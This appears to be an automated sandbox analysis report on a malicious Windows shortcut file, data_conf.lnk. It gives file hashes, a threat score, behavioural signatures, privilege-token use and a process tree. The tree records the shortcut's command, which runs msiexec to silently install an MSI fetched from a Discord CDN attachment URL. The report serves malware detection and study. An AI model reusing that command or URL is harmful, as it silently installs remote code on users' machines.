884ef747b4d2d5475674db0544a8bd4f3dde6f4f5ae4c7523331ebcbd31d6f27

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
27-08-2023 22:29

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General

Target

data_conf.lnk
Size

1KB
MD5

598ea8c6f5035c7f096419da69d7a92e
SHA1

1e0c9b378f5f8f80bbd67c6c46acb8a174913768
SHA256

fee9c51d03cebc85b04228cb3238fe994436435f20e3628b978fd2ac8d85e03e
SHA512

00d868a21f9db1a280c2c8cc3188702bc604cf459ce5218e6be2419b48e48b288e42de3a1ec20bf4895e93fa6cc8d66f6723bee3743cc2977b2a3fdc808d1179

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2772	msiexec.exe
6	2772	msiexec.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2804	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2804	msiexec.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2804	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2804	msiexec.exe
Token: SeRestorePrivilege	2772	msiexec.exe
Token: SeTakeOwnershipPrivilege	2772	msiexec.exe
Token: SeSecurityPrivilege	2772	msiexec.exe
Token: SeCreateTokenPrivilege	2804	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2804	msiexec.exe
Token: SeLockMemoryPrivilege	2804	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2804	msiexec.exe
Token: SeMachineAccountPrivilege	2804	msiexec.exe
Token: SeTcbPrivilege	2804	msiexec.exe
Token: SeSecurityPrivilege	2804	msiexec.exe
Token: SeTakeOwnershipPrivilege	2804	msiexec.exe
Token: SeLoadDriverPrivilege	2804	msiexec.exe
Token: SeSystemProfilePrivilege	2804	msiexec.exe
Token: SeSystemtimePrivilege	2804	msiexec.exe
Token: SeProfSingleProcessPrivilege	2804	msiexec.exe
Token: SeIncBasePriorityPrivilege	2804	msiexec.exe
Token: SeCreatePagefilePrivilege	2804	msiexec.exe
Token: SeCreatePermanentPrivilege	2804	msiexec.exe
Token: SeBackupPrivilege	2804	msiexec.exe
Token: SeRestorePrivilege	2804	msiexec.exe
Token: SeShutdownPrivilege	2804	msiexec.exe
Token: SeDebugPrivilege	2804	msiexec.exe
Token: SeAuditPrivilege	2804	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2804	msiexec.exe
Token: SeChangeNotifyPrivilege	2804	msiexec.exe
Token: SeRemoteShutdownPrivilege	2804	msiexec.exe
Token: SeUndockPrivilege	2804	msiexec.exe
Token: SeSyncAgentPrivilege	2804	msiexec.exe
Token: SeEnableDelegationPrivilege	2804	msiexec.exe
Token: SeManageVolumePrivilege	2804	msiexec.exe
Token: SeImpersonatePrivilege	2804	msiexec.exe
Token: SeCreateGlobalPrivilege	2804	msiexec.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 2804	1864	cmd.exe	29
PID 1864 wrote to memory of 2804	1864	cmd.exe	29
PID 1864 wrote to memory of 2804	1864	cmd.exe	29
PID 1864 wrote to memory of 2804	1864	cmd.exe	29
PID 1864 wrote to memory of 2804	1864	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\data_conf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i https://cdn.discordapp.com/attachments/1139130854761844741/1139155521396559954/aspose.msi /quiet
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2804

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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